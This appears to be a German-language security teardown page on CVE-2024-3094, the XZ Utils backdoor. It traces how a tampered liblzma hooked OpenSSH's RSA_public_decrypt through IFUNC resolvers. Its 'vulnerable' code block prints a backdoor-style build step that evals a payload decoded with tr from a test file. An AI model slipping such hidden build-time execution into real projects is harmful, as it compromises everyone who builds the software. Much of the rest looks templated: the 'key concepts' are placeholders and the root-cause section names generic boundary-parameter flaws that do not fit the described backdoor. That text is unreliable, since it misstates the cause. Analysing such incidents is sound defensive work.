flawopen.com/Teardowns/cve-2024-3094-xz-utils-backdoor

● CVE-2024-3094 · CVSS 9.8 · Kritisch
Sicherheitsforschung · FlawOpen

CVE-2024-3094: XZ Utils Backdoor & IFUNC Hooking

Quellcode-Analyse von CVE-2024-3094: Wie bösartige Modifikationen des IFUNC-Resolvers in liblzma die OpenSSH-Authentifizierung untergruben.

💡 Einfache Erklärung (ELI5)

Stellen Sie sich vor, eine Bank baut einen Tresor mit Standard-Wasserrohren. Die offiziellen Baupläne sind sauber. Doch der Fabrikarbeiter, der die Kisten verpackt, schmuggelt ein unsichtbares Kabel in das Rohr. Wenn das Rohr unter Linux in den Tresor geschraubt wird, schließt sich das Kabel an das Hauptschloss der Bank (OpenSSH) an und erlaubt dem Arbeiter, den Tresor jederzeit mit einem geheimen Fernzünder zu öffnen. Bei CVE-2024-3094 wurde die Hintertür in Build-Skripten von Release-Tarballs versteckt, um unbemerkt nicht-authentifizierten Root-Zugriff über SSH zu gewähren.

Kernkonzepte & Begriffe

Open Source Systems
Kernkomponente der Architektur, die von CWE-Security betroffen ist.
CWE-Security
Standardmäßige Common Weakness Enumeration (CWE)-Klassifizierung für cve-2024-3094-xz-utils-backdoor.
Defense-in-Depth
Mehrschichtige technische Verifikation und Laufzeit-Grenzenisolation.

Ursachenanalyse

Die Grundursache liegt in nicht validierten Grenzparametern in Open-Source-Systemen, die eine Zustandsdesynchronisation und die Umgehung von Sicherheitskontrollen ermöglichen.

Schritt-für-Schritt Angriffsablauf

Step 1

Indirect Linkage via libsystemd

Linux distributions linked OpenSSH to libsystemd for startup notification, which linked liblzma for compression.

Step 2

Early IFUNC Evaluation

During process startup, glibc evaluated GNU IFUNC (Indirect Function) resolvers before read-only memory protections were finalized.

Step 3

Symbol Table Hooking

The backdoor hooked IFUNC to traverse the dynamic linker symbol tables and overwrite the address of RSA_public_decrypt.

Step 4

Signature Hijack & Root Execution

When an SSH client connects with a signature signed by the attacker's Ed448 private key, the hooked function executes arbitrary root commands.

Quellcode: Verwundbar vs. Sicher

✕ VERWUNDBARE IMPLEMENTIERUNG
# Backdoored tarball: Extracts hidden binary object from test assets
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])
# Decodes obfuscated binary payload from test files using sed & tr
if test -f "$srcdir/tests/files/bad-3-corrupt_lzma2.xz"; then
    eval $(tr "	 \-_" " 	_\-" < "$srcdir/tests/files/bad-3-corrupt_lzma2.xz" | head -n 1)
fi
# Replaces liblzma CRC64 resolver to hijack OpenSSH RSA_public_decrypt
✓ GEHÄRTETER SICHERHEITS-PATCH
# Fixed: Restored standard Gnulib macro; eliminated hidden execution hooks
gl_CONDITIONAL([COND_GNULIB_SNPRINTF], [test "$gl_cv_func_snprintf_retval_c99" = "yes"])

# Standard clean Autotools build-to-host path resolution
AC_DEFUN([gl_BUILD_TO_HOST],
[
  AC_REQUIRE([gl_BUILD_TO_HOST_BINDIR])
])

Checkliste für Engineering & Systemsicherheit